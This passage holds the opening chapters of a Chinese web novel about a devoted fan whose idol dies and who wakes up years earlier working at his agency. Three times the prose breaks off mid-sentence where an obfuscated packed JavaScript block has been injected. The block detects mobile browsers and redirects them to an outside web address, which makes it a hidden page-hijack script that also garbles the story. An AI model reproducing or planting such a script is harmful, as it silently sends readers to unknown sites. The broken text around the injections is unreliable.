《脂粉自救指南》 1. 第一章 1. 接到电话的前十分钟,邹意还坚守在电脑前给自担段暮炀反黑,老生常谈几个嘲点,大皇族资源咖、霸凌队友、划水…自带腥风血雨体质,露面即吸黑粉。 说起来,邹意入坑段暮炀,已经六年有余,给段暮炀出图、修图、剪视频、反黑这些日子,了解了所有黑梗,深知各种正炒翻炒的话术。 正向炒作就把舞蹈切片和路透生图用刚进组的新号开红帖:“不是?这个入帅成这样?”反炒就披皮队友丝开炮帖:“李涛,段暮炀都划水了为什么还能站C?” 切了几个小号上评论,又在专组里开刮刮乐让散粉全部给评论上赞。 好说歹说,几个嘲帖黑帖都控住了,邹意岁月静好,往超话里发了一条养成超like的教程,看了眼段暮炀和队友的超话数据,默默算出来,最近回归段暮炀状态很好,按这个涨幅,大概还有一周,数据排名就能从back里的b,上升到mid行列了。 忙完这一套,邹意把电脑合上准备出门上班,她的本职工作是互联网公司的运营,也算网监部,负责监控网上舆论和微博红人广告发布。 虽然邹意在粉圈里从不暴露现生,只当一个深藏功与名的momo,热烈肆意为自担冲锋陷阵,但脱下粉籍,她也只是一个生活拥有平静死感的打工人。 刚收拾完包,电话就响了,邹意看了眼备注,“世界级妈粉cherry”,邹意顿了顿,cherry是她在粉圈里的同担,两人作为专组管理员,每天住在网上控风评控出了默契,邹意是个社恐,能发信息绝不打电话,上一次通电还是因为cherry又拿到狗仔在江边给段暮炀拍的图片了。 邹意犹豫一下,点了接通,抬眼突然注意到贴在墙上的,上一次段暮炀回归的专辑海报,侧边不知道什么时候裂了个小口子,之前她都没注意到。 “粥粥,你…你看到新闻没?”cherry的声音抖得不行,邹意穿好鞋子,扶了扶门把手:“什么新闻啊,我刚要出门呢,出什么事了?怎么哭了?” cherry话没说完就开始哭。“邹意,他们说…段暮炀坠楼了…是s社的新闻,刚爆出来,医院门口都是记者。” 邹意手里抓着的金属钥匙扣周边上晃着段暮炀的Q版人头,下意识地抠了几下上面的凹槽。 不可能。 “呵…这黑料也太过了吧,哪家丝传的?”邹意下意识觉得肯定是假的,段暮炀虽然平时装了点忧郁了点,倒也不至于会舍得去死,她把电话开了免提,颤颤巍巍地点开微博。 设备连接网络到自动弹出新闻消息中间有三四秒空白的时间,连最虔诚的祷告都来不及做完,赤裸裸的事实就摊开了,成了一块黑布,盖住了邹意的视线。 她感觉有点胸闷,透不过来气儿,捏着的手机也不知道什么时候掉在了地毯上,小声地传来哭泣的电波。 2. 邹意永远忘不了那一天,微信粉丝群一秒钟就99+的信息,热搜首页黑红黑红的爆词条,不知道什么时候裂得更严重了的海报,还有耳鸣了一路的通勤地铁。 “段暮炀 顶流”“段暮炀 坠楼身亡”“天环所属社发表声明”“roadster成员段暮炀非自然死亡”“雪崩时没有一片雪花是无辜的”“当你离开 所有人开始爱你” 热搜挂满令人费解的词条,营销号铺天盖地出视频,像是在宣告一个人的结局,像是意味着一个特别的日子到来,难道今日之后,再没有正当理由能随意提起段暮炀这个名字了吗?为什么一股脑全部都要发他呢? 还有,平时不都爱发黑图吗,怎么今天全部这么善良了?配的是什么破bgm啊,什么你离开的背影啊… 追星本就是为自己创造一个虚幻的乌托邦,乌托邦和现实相交的频率很低很低,攒了很久钱才够去见一面。 现实的秩序不能因为乌托邦发生裂变就被打破,她需要去上班,随便请假会扣工资扣年终奖,房租还需要交,钱还需要攒…生活依然像织毛衣一样继续织着,只是勾着的线突然失去了彩色。 邹意忘记了自己是怎样坐地铁到公司,怎样拿出手机打卡,又是怎样忍住不点开任何微信群和社媒。这不是真的吧?其实下班后就能等到辟谣了应该是这样,天环再怎么不做人,也不会让这种谣言四处传的。 就这样默默祈祷,默默在电脑前发呆,用剩下的意志完成了一半的工作。 段暮炀今年27岁,从十五岁开始进公司,练习时长七年,出道六年,青春期的时间花在练习室里,出道后活跃在荧幕中,人生的一半都还没有到,事业正在上升期,b站直拍最高播放量马上要破三百万了,邹意最近工作没那么忙了,也终于攒够跑签售的钱了。 “邹意。”突然有人拍了她两下。 邹意回过魂,“怎么了?” 办公室的领导fancy姐是她的直属上司,也是邹意在公司里马屁拍得最多的人,只是这会儿邹意没有一点力气夸赞她精心打理的棕色微卷发和蓝色锁边美瞳了。 她稳了稳声音:“怎么了姐?” “邹意,你今天的ppt做得很差,格式错了好多,你怎么回事,这版之前不是开会明确过细节了吗。”fancy姐皱着眉头,手里捧着笔记本滑动浏览她刚交上的ppt。 “对不起,姐,我现在改。”邹意愣愣地说。 “不用了,小王在改了,回头记得请他喝奶茶。”fancy姐估计看在她平时少出错的份上,饶了一命。“你怎么了,心不在焉的,失恋了?” 邹意无法回答,听到这句话的同时,心里像有一朵蓄势待发的乌云冲进了维持得很好的阴雨天,哗啦哗啦下起大雨。她撇了撇嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262655|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说点什么否认但开不了口,瞬间低下了头忍泪,在公司哭也太不像话了。 fancy姐是看着她进公司的人,见邹意这副样子吓了一跳,“失恋就失恋,有什么了不起的,拜拜就拜拜,下一个更乖嘛,你长得漂亮,又会说话,要什么男人没有?”fancy姐很贴心地安慰了邹意,并批准了她今天可以破例不加班准点下班。 周五晚上的地铁,戴着黑色鸭舌帽低头玩手机的年轻人,牵着背亮色书包小孩的母亲,一屁股坐在地上白色手套满是污渍的工人……压抑的氛围好像因周末即将来临又有了一点平日没有的诡异生机。 邹意握着金属色的扶手,头痛欲裂。妈的,真的难过到想失忆,谁来管管?天环不辟谣,是想干嘛?为什么队友行程全部暂停了?为什么同事ig都在发黑色的悼念图? 真的不要吧!不要这样子吧段暮炀,不是说今年要出solo吗?跟前辈的cha还没拍呢!还有下一场签售,她好不容易下定决心,攒好钱要去了呀! 邹意不知道自己在回家路上骗了自己多少次,流了多久眼泪,第一次知道承认事实就像心里的一小块失去了知觉,慢慢变成了灰色,最后石化碎裂开。 她根本不想跟任何人倾诉,没有用。 谁让她为了一个看不见摸不着的人付出感情付出时间,现在好了,他消失了,从世界上消失了,这算活该吗?作为一名粉丝,邹意影响不了段暮炀哪怕一点点,但她的世界,好像被毁了。 3. 如果硬要形容那天的感受,遗憾占更大一部分。遗憾没有多去一次演唱会,遗憾没有多说一句话,遗憾闪闪发光的人永远消失在舞台,遗憾他的才华再没办法被更多人看到了,遗憾段暮炀这个名字,在接下来的时间里,只会走向遗忘。 邹意没有谈过正经恋爱,其实不知道失恋是什么滋味,如果按照朋友绝交来类比,顶多是以后两不相见。 真是的,也不是非要看得见摸得着… 不见就不见啊…没有舞台就没有舞台,不发新歌也没关系啊,为什么?凭什么就能这样消失?粉丝的爱不是爱吗?拥有那么多爱的人,凭什么擅自结束生命? 邹意根本不敢点开手机,因为壁纸是段暮炀,不想看到自己身上穿的用的很多东西,因为大部分是周边和蓝色应援色的自制配饰,甚至连打开家门都很困难了,相框、海报、专辑收藏柜、唱片机… 谁说海报只是纸片,就算只是一副再普通不过的小猫简笔画,每天看着,早上起床看着,晚上睡前看着,孤单的时候对着自言自语,无聊的时候擦一擦上面的灰尘,时间一长,也会有感情。 拥有很多照片、很多影像资料的人,总是会给许多爱他们的人留下想念的窗口,以至于每回看见老照片,都会遗憾,举起相机,再也没办法在取景框里看见想快速锁定的人了。 2. 第二章 4. 作为明星的段暮炀,是这样一个人。作为组合第一个官宣的ACE出道,民推门面,还有作曲的技能。刚出道就被营销号封为六ACE一,人气一骑绝尘。 可段暮炀有一个毛病,不会媚粉,至少跟其他队友相比,态度略显冷淡,很少主动饭撒,签售营业感重、班味重,不懂得抛梗钓粉丝,久而久之有了六蔑一的黑称,说是段暮炀蔑视所有人。 维护段暮炀的粉丝也天天被嘲笑大溺爱大捂嘴,哪天爆出来嫂子就老实了。 切,讲实话,邹意扒过段暮炀每个队友的社交软件,有嫂子的真的不是他,有些人从出道前就开始谈了,粉丝扒出来也捂着不说,整天还敢拿这个出来说事。 邹意一直忍着,哪天把她逼急了,大截图全部放出来。结果就一次一次被逼急不敢放出真料,怕被队友的梦女粉开盒了。 当爱豆也要有天赋,实力是第一,会媚粉是第二,有时候会媚甚至比实力更重要,因为粉丝会帮你抢到一切。所以在特别会媚粉巧思一堆的队友衬托下,段暮炀的人气慢慢下降,一度掉到back,作为队内的ACE,人气back是一件说不过去的事情。自担人气低,苦的是粉丝,数据女工键盘一天天的都快敲冒烟了。 有段时间邹意也恨铁不成钢但依然冷脸洗内裤,边在公共组发帖翻炒黑料给粉圈脱敏顺带虐粉提纯,边跟几个同担开骂:“你们觉不觉得段暮炀根本不适合当爱豆,md公司是不是忘记给他上媚粉课了,敢对签售姐那么冷淡段暮炀真是不要命了。” 小群里的同担回复:“得了吧,咱一开始不就看上他不会媚粉这bking劲吗,再说他也还好吧,只是话相对不多而已,怎么不怪队友太会撩,要是他整天挤眉弄眼跟袁子凡那样,我早跑路了。” “死心吧,我们就吃这一款,不然不会出现在这个群里好吗?” 邹意表示认同,想了想段暮炀队友们在舞台上边wink边吐舌头的画面,起一身鸡皮疙瘩,确实…不过段暮炀一开始确实没想当练习生没想出道当明星。 说起来,段暮炀进公司的故事不算顺畅。他上初中时在打工的便利店偶然被星探发现,以为是骗子就没回复。 后来,不知道传达了什么信息,负责新人开发的职员亲自接他到公司大楼参观。 据段暮炀本人叙述,那天staff带他走过满是鞋底摩擦声和汗味的舞蹈练习室,走过有很多发着红光的巨大摄像机的演播厅,走过一句话都听不懂的外语学习教室,最后走到一个摆放着唱片、专辑的小玻璃房子,里面有一个快两米高的大屏,循环播放各个经典舞台。 公司给了他考虑的时间,但段暮炀在回程时就明确拒绝了。 他也是第一次到超一线城市,坐一共有六十层楼的电梯,第一次见到小小世界的另一面,难免有些局促,他搓着手指斟酌语句,看着正在开车的职工姐姐,郑重地道谢:“谢谢,但我还是决定不签约。” 新人开发部的职员见怪不怪,不是所有人都愿意让自己的后半生暴露于镜头之下,不过好看的有资质的男孩很多,当然也不是非要段暮炀不可。 那天段暮炀被小汽车一路送回实验中学念书,路程有两个小时三十四分钟,下车的时候,他心里的感觉也很奇怪,说不清楚,不是后悔什么,也不是遗憾什么,只是有点不满足,也不清楚为何有这种体会,不过很快消失,因为警惕性很高的罪责感蜂拥而至了。 “小段,能告诉我为什么那么快拒绝吗,其他小男孩可不像你这样。”接送他的姐姐下车问。 段暮炀单肩背着书包,身上是洗得干净的校服外套,他抬着头回答:“我跟我外婆住一起,外婆年纪大了要有人照顾。” 段暮炀的外婆林晓茹是一个健谈的老太太,嗓门大,在后来的某次综艺节目里,有给家里人打电话的环节,段暮炀打给了外婆。 林晓茹女士也不管游戏规则,在电话里叽里咕噜嘱咐一堆“记得穿毛衣”“毛衣要穿高领的”“小炀不要总是染发,染发剂都有毒的哦!”这样的话。那一期节目也由此贡献出自开播以来的最高播放量。 和老人一起住。很简单的理由,对方便不再多问,点了点头,几秒后又像想到什么一样抬眼:“我们可以提供宿舍,以你的资质,脸也不用调,三年内出道不成问题,万一没有出道,也不用还房租的,可以当作上了唱歌跳舞的兴趣班,你还可以学想学的小语种,确定不再考虑一下吗?” 那是夏天的傍晚,放学铃悠扬盘旋起心里小小的种子,又掉落到不为人知的地方。 “算了吧,我比较想继续念书。”段暮炀依旧拒绝。 有时候不得不相信那句粉圈名言,有些人天生就要当大明星。 在被星探接触过一个月后,段暮炀跟着学校团队到隔壁市参加一个物理竞赛,傍晚跟同学忙里偷闲出来吃饭的时候,又被星探塞了名片,还是天环的新人开发部。 那一年的天环娱乐集团势头正猛,推出实验团knight取得突破性成功,节奏明快的主打曲,整齐划一的刀群舞,个性鲜明的人设让一个七人男团成为了世界级的明星,挽救了一个穷途末路的企业。 高楼在舞台的生命力中拔地而起,成功的经验锻造出模版,天环集团内部重组后立刻成立了新人开发部,急于打造下一个组合延续企业文化,因此创设了多个出道企划。 “真的不再考虑下吗,我看你条件挺好的,声音条件也不错。”星探也有kpi,主动面试相当练习生的人很多,但事实上是——能招进一个好苗子比登天还难。 首先,长得漂亮的孩子上镜不一定好看,其次,脸蛋过关了,还要能开口唱两句,跳舞的话没关系,往死里练总能练出来框架。最后就是气质,还没包装就一股关中气质会最先被淘汰,肯听话不乱搞很重要。 当然了,如果脸足够好看,后面两条全部可以弹性变动。美貌是爱豆的第一生产力。 段暮炀对当明星当偶像真的不了解,他不会跳舞,听歌也不算多,初中时最大的爱好是编程,经常卡机的笔记本里有许多他自学的程序。 参观的大楼是很气派,练习室里氛围确实不错,舞台上的人确实很亮眼,学语言应该也蛮有趣的。但还是算了。 5. 世界上有两个消息传播最快的群体,一是封闭式管理的学生,二是穿梭于大街小巷的老太太们。 段暮炀被星探联系的消息在一个小小的海滨城市很快传开,学校里有结群到教室外边偷看他,悄悄拿手机拍,球场上的队友也要打趣让他签个名在篮球上,说不定以后涨价了。 初中生的心智并没有多成熟,突如其来受到关注的生活让段暮炀有点不适应,紧张、不安、脱离控制。段暮炀后来在采访中坦言他是一个习惯性逃避的人。 据他本人描述,消息在学校传开隔天的傍晚,段暮炀在离家十几米的地方就听见了外婆林晓茹的声音。 “小炀!快来呀!”外婆在门口的台阶,朝他招手,夏夜傍晚的最后一束日光照在她眼尾的细纹上,空气中好像有棉花被晒透的气味。 林晓茹女士当时还身体康健,碎步快走过来揽住段暮炀的胳膊:“小炀,有人找你当明星啊?他们说,说是什么?星探。”外婆是个开朗没心眼的性子,听风就是雨。“隔壁王奶奶今天总说我孙子要当大明星了哦。” 段暮炀愣了愣,八字没有一撇的事情,不知道是怎么传到这个程度。 段暮炀是外婆带大的,从小到大上学接送,都是外婆一个人,林晓茹还没意识到孙子已经比她高出许多,伸出手到段暮炀脖子后面想帮他提书包。 正值青春期的男生面子大过天,段暮炀侧了侧身子,阻止了外婆伸过来的手。“阿嬷,没有的事,我不当明星。” 林晓茹女士是个不服老的老太太,段暮炀不让她帮忙提,她就用手拖着书包底部帮他省力。 “干嘛啊,你怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262656|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿嬷不让你去吗?阿嬷很开明的,你王奶奶说,那些星星同事找了你很多次,都在学校传遍了,你都不跟阿嬷讲的哦!”林晓茹故意走得比平常快,因为不想段暮炀要迁就她小步走。 段暮炀在外婆面前永远理亏,摆出老人家最爱听的话,他解释道:“阿嬷,不是星星同事,是星探啦,而且不是答应了就能当的,要去榕城,至少三年,你不是想我好好念书上大学吗?” 林晓茹听到上大学三个字就走不动路了,念叨着:“三年,那学上不了了怎么办哦。” “对啊,我边上学边陪着您多好?要当大明星,你就见不到我了。”段暮炀说。 “那万一,这是最适合你的路怎么办呢?外婆不要挡了你的路啊。” 6. 林晓茹眼里的段暮炀是个让人心疼的孩子,林晓茹第一次见到段暮炀,是在福利院,当时他四岁。 福利院的护工是林晓茹下岗前认识的同事,知道她没有孩子,退休了无事可干,打了快一年的电话,求林晓茹来看看这个小孩。 电话头是这样说的:“哎呦,你都不知道这孩子多可怜,有人来了,就开口唱儿歌,哎呦那眼睛亮的。” 林晓茹疑惑道:“按你说的,这么水灵这么乖这么聪明的,咋还找不到领养?你不要坑我哦!我不生小孩不是为了今天的。” “绝对不会,这小孩是真的乖,就…就是…” 林晓茹是急性子听了烦:“支支吾吾啥呢!这小孩咋啦?” “哎呦,我说出来你也要来看看啊。” “嗯。” “他们都说这孩子命太硬,克死了兄弟又克死了爹,唉你说这什么事儿啊,茹儿,我不是害你,我这里这么多孩子,我真觉得这小不点挺可怜的,你都不知道他儿歌唱多好听呢,一想到他每次都眼巴巴地看,我心里,心里是真不好受啊!” 7. 人生是考验而不是馈赠,机会带来的效能,不到最后一刻谁也不知道是糖是毒。 “真的不再考虑一下吗,只要现在开始学舞,三年,下一个企划,你一定可以出道的,哎呦,我们最近找了很多人都没你资质好的。” “看这么个好苗子跑了,心里,心里是真不好受啊!” 院子里,林晓茹在捡木棉树掉下来木棉花,明天出太阳了要放在竹筐里晒干。“又有电话找小炀当明星了吗?”林晓茹在院子里问,嗓门儿很大。 段暮炀对着电话叹了口气,也许真的受到鼓舞,内心动摇,第一次问了句:“真的吗?三年就能出吗?”林晓茹只是普通的退休工人,养大一个小孩已经很不容易,更不可能供他颗粒无收地去当练习生,所以段暮炀原本的目标一直是赶紧念完大学出来工作。 “是的是的,我们签的是五年的合同,合同里都有写的,如果到时候没进出道组,吃住和培训费一笔勾销,你进公司后可以申请补贴,餐补房补都有,表现好的话月末有奖金,也算一份工作了。”联系他的职员像是为段暮炀考虑了很多可预见的困难。 “需要全勤吗?我还想上学。”段暮炀直白地问,他很早就明白他的人生不能没有退路这回事。 “可以,你现在初三是吧,可以等你中考完,再进公司,不过合同要先签,到时候联系我们给你买车票,哦,你奶奶想来参观的话也可以联系我们安排。” …… 那天段暮炀挂了电话,犹豫中仿佛也敲定了后面至少五年的生活,一切按照既定目标往下走的生活第一次拥有了无法预测的名为“未来”的感觉。 林晓茹抱着一筐木棉花走进屋子,又挤出贼兮兮的笑眼:“小炀要去当大明星啦?” 段暮炀听笑了,“阿嬷,不一定成呢,要是最后没当成,街坊邻居全知道了,我都不敢回来了。” 林晓茹皱了皱眉头:“你是我养大的孩子,阿嬷说成就成!你忘了吗,你连小时候唱儿歌都整个福利院唱得最好听的,我孙子比谁都厉害!” 3. 第三章 8. 2018年的夏天,邹意第一次见到段暮炀,当时段暮炀还没有出道,是天环集团的王牌练习生。 高考完的暑假百无聊赖,聚会饭局一个接着一个,总是聊一样的话题,谁表白了谁谈恋爱了谁分手了谁闹掰了,邹意一边咬着甜筒的脆皮,一边刷朋友圈。 小姨在朋友圈说,抽签抽到去参加天环的内部showcase,去完还要写报告,周末又要加班了。 邹意看不懂,在评论区问了一句,“什么showcase呀?” 一分钟后得到回复:“就是天环新男团出道组的非公开内部考核,我们公司跟天环接下来有合作,我被抽到去参加了。” 新男团内部考核。那岂不是很有看头,邹意念书的时候是那种好学生,成绩好才艺好、不追星不谈恋爱,向她示好的男生总是被拒绝一次之后就到外面说感觉文科班的邹意很看不起人。 邹意是个颜控,又有感情洁癖,其实朋友都不算多,更别说本来就不怎么认识的人突然示好,跟不熟的人聊人生好尴尬。 想到这里,邹意突然来了兴趣,反正闲着也是闲着,就私信了她那个在时尚杂志公司当运营的小姨。 【粥:小姨,那个showcase,我能跟你一起去吗?我好无聊!】 【欢聚时尚—flakya:你想去呀?但是时间很长的哦!一整个下午,而且手机不能带,禁止录像,我怕你去了更无聊!】 【欢聚时尚—flakya:小意你不是不追星吗?还是有你认识的练习生?】 【粥:我不认识,就是想看看帅哥,麻烦的话就算啦】 【欢聚时尚—flakya:不会呀,你想的话,下午我给你张工牌,不过到时候我可能要去跟他们总监social一下谈工作,不能陪你玩哦!】 【欢聚时尚—flakya:听说这波里面确实有个资质高的练习生,但是练了六年了还没让他出道,叫段暮炀】 9. 天环这几年发展越来越好,仅成立十年,就跻身娱乐产业巨头,推出来的男女团没一个糊的,邹意在公司大楼下看专辑宣传册和十周年纪录片,被震撼得不行。 专辑内页和小卡做得好精致,纪录片拍得感觉像什么科幻世界大电影,cg特高级,爆破什么的都很逼真。 邹意报了小姨的名字进大楼,在一层的咖啡店买了一杯冰美式。听说当明星当爱豆的都爱喝这个,没办法,路过的人每一个穿搭都潮得她快要得风湿了。邹意感觉自己不适合在这里面的咖啡店点焦糖玛奇朵。 她小口小口地嘬饮着,半杯冰饮下肚,突然,小腹一阵熟悉的下坠感,站起来的一瞬,一股热流涌出。 完蛋了!早不来晚不来,偏偏这个时候来,上个月因为要准备高考,压力太大,停经了,早上刚吃了雪糕,这下新账旧账要一起算了。 邹意赶紧又一屁股坐下,发信息问小姨什么时候来,身上有没有卫生巾。 等了一会儿没有回复,邹意坐立不安又不敢动,手撑着布艺沙发不敢抬屁股不敢坐。怕弄脏了。 五分钟后小姨还是杳无音讯,邹意决定去找厕所,女厕所应该能借到卫生巾。 第一回怪现在正是夏季,邹意今天穿了一条灰粉色的工装牛仔裤和bm短上衣,以她的直觉,裤子可能已经脏了。 邹意有点扭捏地站起来,还好带了个帆布包,她挪了挪身子,把包挡在后面,小步走出了咖啡厅。 厕所,厕所哪呢?这么大的公司怎么连个牌子都不放,她去哪找? 大楼里的冷气很足,邹意走出咖啡厅开始有点浑身发冷的感觉了。 来往的人很多,染着鲜艳的发色戴着深颜色的棒球帽,邹意不知道要挑选哪一个来问问厕所怎么走,看起来每个都不太好接近。 人在身体流血的时候就会有点无助,又防备心重。邹意觉得自己这会儿像误入了黄鼠狼集聚地的一只灰头土脸的土拨鼠。 她稍微弯了一点腰,肚子有点难受,很突然,一个影子边回头看边冲过来,邹意这会儿不能做大动作。 “我草。”来不及躲,等她反应过来,人已经被撞倒在地上了。 撞到她的是个男生,邹意忍着不适抬眼一看,他也被吓得不轻,然后赶紧把半挂在脸上的口罩戴上。“对不起对不起,没事儿吧?”男生蹲下来问,态度还算诚恳。 邹意不知道为啥道歉还要专门戴上口罩,不过也懒得思考,“没事儿。”她指了指刚刚掉在一边的帆布包,“麻烦,帮我把那个包递给我。” 男生往她指的地方看,点了点头,“行,我先扶你起来吧。”说罢就要伸手拉邹意。 邹意吓了一跳,连忙拒绝:“不用不用,我自己可以起来,你帮我把包拿过来就行。”天杀的她需要一个屁帘! 生理期第一天,一点动静都要激起惊涛骇浪,邹意坐在地上有点生无可恋了,一层的环绕式音响在循环播放歌曲,还有拿手机拍大屏的人,show不showcase的现在不重要了,邹意在心里祈祷小姨快点快点来。 “诶!行。”口罩男去帮她捡包了。 邹意拿到包,扶着地面,慢慢站起来,然后很快地瞄了一眼地板,还好没弄到地上。 “真没事儿吗?对不起啊,我刚刚在找我朋友,没看路就撞了你。”男生再次跟邹意道歉。 邹意点头,扯出一抹笑容,想开口说真不要紧,但你能告诉我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262657|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厕所在哪吗… 还没问出口,男生突然摆了摆手,眼神看着邹意后方。“段暮炀,这!”他往后喊了声。 邹意脑子里回放这个名字,没忍住好奇也扭头去看。 白色T恤,黑色工装裤,肩膀上批着棒球服外套,清爽的短发,微笑时嘴边陷进去的梨涡。邹意后来常常想起这一幕,如果要用三个字形容对段暮炀的第一印象,就是少年气,铺面而来的热腾腾的少年气。 “诶!今天这么晚,等会儿考核呢你还敢迟到!”刚刚撞到她的男生用肩膀撞了撞段暮炀的肩。 段暮炀把目光落到了她的身上,客气地点了点头,邹意眨了眨眼睛,也点点头。在这种尴尬的时候,为什么还逃不了,反而遇见帅哥了呢omg… 男生解释了一下:“哦,我刚刚不小心撞到这妹妹了。”邹意感受到段暮炀的目光又在她身上停留了几秒,然后移开。她不太自然地挪了挪帆布包遮挡的位置。 “妹妹,没事儿的话,那我们先走咯,我叫袁子凡,万一有事随时联系。”邹意一听松一口气,心里求他们赶紧走。 袁子凡推着段暮炀的背往电梯的方向去,刚走几步段暮炀就停下来,然后折返朝邹意走过来。 邹意自然而然地开始扭捏紧张起来,站得很僵硬,无法跟他对视。 邹意苦笑了两声:“呵,呵呵,有什么事呀?” 一股洗衣粉的干净香气突然笼罩着她,肩膀上多了重量,段暮炀把棒球服,披到了她身上,邹意愣怔地看了眼,棒球服很长,挡到了大腿根部。 “没事,再见。”邹意看见段暮炀又对她笑了笑,然后说。 那天,邹意看着段暮炀的背影越来越小、直至消失在转角,鼻尖依然萦绕着淡淡的清香,大脑循环播放他的声音,脑子好像自动屏蔽了大楼里的3D环绕音响,像雾里看花一样,砰砰砰,原来是她的心跳声。 这件事情后来邹意没有跟任何人提过了,怕对段暮炀造成不好的影响。邹意偶尔也会问自己,如果那天没有碰巧遇见段暮炀,后来会不会成为他的狂粉,成为反黑第一把手的正规军,很难讲。 唉,好后悔,早知道应该去一次签售的,三万块钱,两三个月就赚回来了,应该去一次的,问问他还记不记得自己,把棒球服还回去,应该去一次的。 确实是,如果没有那一天,邹意至少不会这么心痛。这么阳光善良的人,选择结束自己的职业生涯,结束仅27岁的生命,抛弃爱他支持他的这么多粉丝,邹意躺在床上,看着珍藏了七年的那件棒球服,已经流不出眼泪,默默发着呆,心里面祈祷—— 我只是一个普通人啊,受不了这种刺激,重来一次,一定不要喜欢段暮炀这个王八蛋了! 4. 第四章 10. 天旋地转间,邹意从嘈杂的敲键盘声中睁开眼,看了看四周没见过的场景,难过地又趴下睡了。 瞎梦什么啊?求的是梦见段暮炀,不是奇奇怪怪的工作,怎么着?人没了就要从她的全世界消失吗,谁允许了? 头顶被戳了两下,痒痒的,邹意不耐烦地睁开一只眼,是没见过的人。 “喂,新来的,就算你是实习生,也不能这么睡吧,天环一天还给你开两百块的工资呢!”染着粉色头发的一位美女对她说。 这梦真是越来越奇怪了,在梦里偷偷降职谁同意了?当了好几年牛马的降成实习生了谁稀罕两百块哦!有本事在梦里给我把段暮炀复活。 等等,天环?她什么时候成天环的员工了? 像鬼压床一般如期而至的极速坠落感彻底把邹意惊醒。 可这一次梦境结束并没有带她回现实,四周仍是美甲敲键盘此起彼伏的声音,粉头发美女还在匪夷所思地看着她。 邹意坐了起来,还没有完全清醒,眼睛往下瞟看了看粉发美女挂在胸前的铭牌——cherry。 cherry?世界级的妈粉cherry?这不是她的大美同担吗?天天在各个帖子下打配合的同担啊! “喂!你傻了吗?组长不是说你很会玩弄粉圈吗?赶快起来干活啊!今天对家公司下了好多洗脑包还没洗白呢亲!”cherry的嘴巴一张一合,把邹意彻底搞糊涂了,cherry一定是精神错乱了。 “cherry,你别难过了,虽然段暮炀死了,但是我们生活还要继续的,我…我也很难过,但…但是…”邹意话没说完整就开始噼里啪啦掉眼泪。 “宝宝,我们…我们不能因为偶像没了,就自暴自弃,呜…可是我真的很伤心呜呜呜你知道吗,我看到我墙上海报裂了个口子就觉得不对劲了…我明明买了新的,但是现在没机会贴了呜呜呜。”邹意就这样一顿输出,没发现全办公室的键盘声都停下来,被她震撼到了。 cherry瞪大了眼睛,“神经啊,你瞎说什么啊,呸呸呸,小段好着呢,我滴妈新人开发部这是招了什么神人进来啊。”她扶额嫌弃地看了眼邹意。“真没想到2018年还有这种极品。” 骂人的语气很熟悉,是邹意的同担cherry没错。等等等…2018? 邹意如梦初醒,抹了抹脸上的眼泪,划开手机锁屏,看清了上方的日期,2018年7月7号。 11. 在尚未分清楚是现实还是梦中的执念的时候,邹意已经从工位上站起来,抓住cherry的手臂。 “能…能跟我说下,段暮炀现在在哪吗?”她听到自己颤抖的声音。 “你今天怎么这么奇怪啊?”cherry小声地说。“哭什么呀?我也没有真不让你偷偷睡觉啊。” 邹意攥着她的衣服,“求你了,跟我说下吧,段暮炀在哪,我想,想看一看他。” “小…小段在练习室吧,我也不知道啊。”cherry被她吓得不轻。 邹意想起来,cherry是第一个打电话通知她新闻爆出来的人,以前邹意在豆瓣小组里跟她私联上,就是因为cherry每次都有最新一手的新闻图,所以她可能是最先看到爆料的,当时又是什么心情呢? 由于担心真是什么盗梦空间撞进现实,邹意害怕出去了之后梦就醒了。 她抱了抱cherry,在心里安静地说了一句话——虽然只是网友,不知道你的真名,但是有你陪着我一块反黑、控评,一起吐槽段暮炀,一起修图产出,真的很庆幸,如果是假的,那我们醒来都不要再难过了,cherry,粉头发好适合你啊。 12. 邹意多年混迹天环各大男女团粉圈,认得天环的大概构造,天环的练习室分两种,一种是给已经出道的前辈们拍视频拍cha发社交媒体用的,在四楼,另一种是连空调都没装完整的整间房只有地板和全身镜的练习生专属练习室。 段暮炀后来不止一次在直播中或者一些采访里说到,当练习生的时候,条件真的很差,夏天的时候,他们每天要买一箱冰棍放在练习室里散热,经常练舞练到快脱水。 在公开场合讲这种会引发不良舆论的话,公司高层不止一次提醒过段暮炀,但段暮炀还是口无遮拦,一有机会就透露一些公司如何如何压榨,练习条件如何如何差。 很多人骂段暮炀出道了当大前辈了还要卖惨,是roadster队内主捧的皇族还要过河拆桥骂自己公司。 邹意给段暮炀澄清过很多黑料,比如签售会态度不好、跳舞划水、不媚粉、辱骂队友等等,每次都能用咯噔文案化腐朽为神奇,不仅澄清了黑料,还虐了一波粉,把团偏属性的粉丝提纯成段暮炀唯粉。 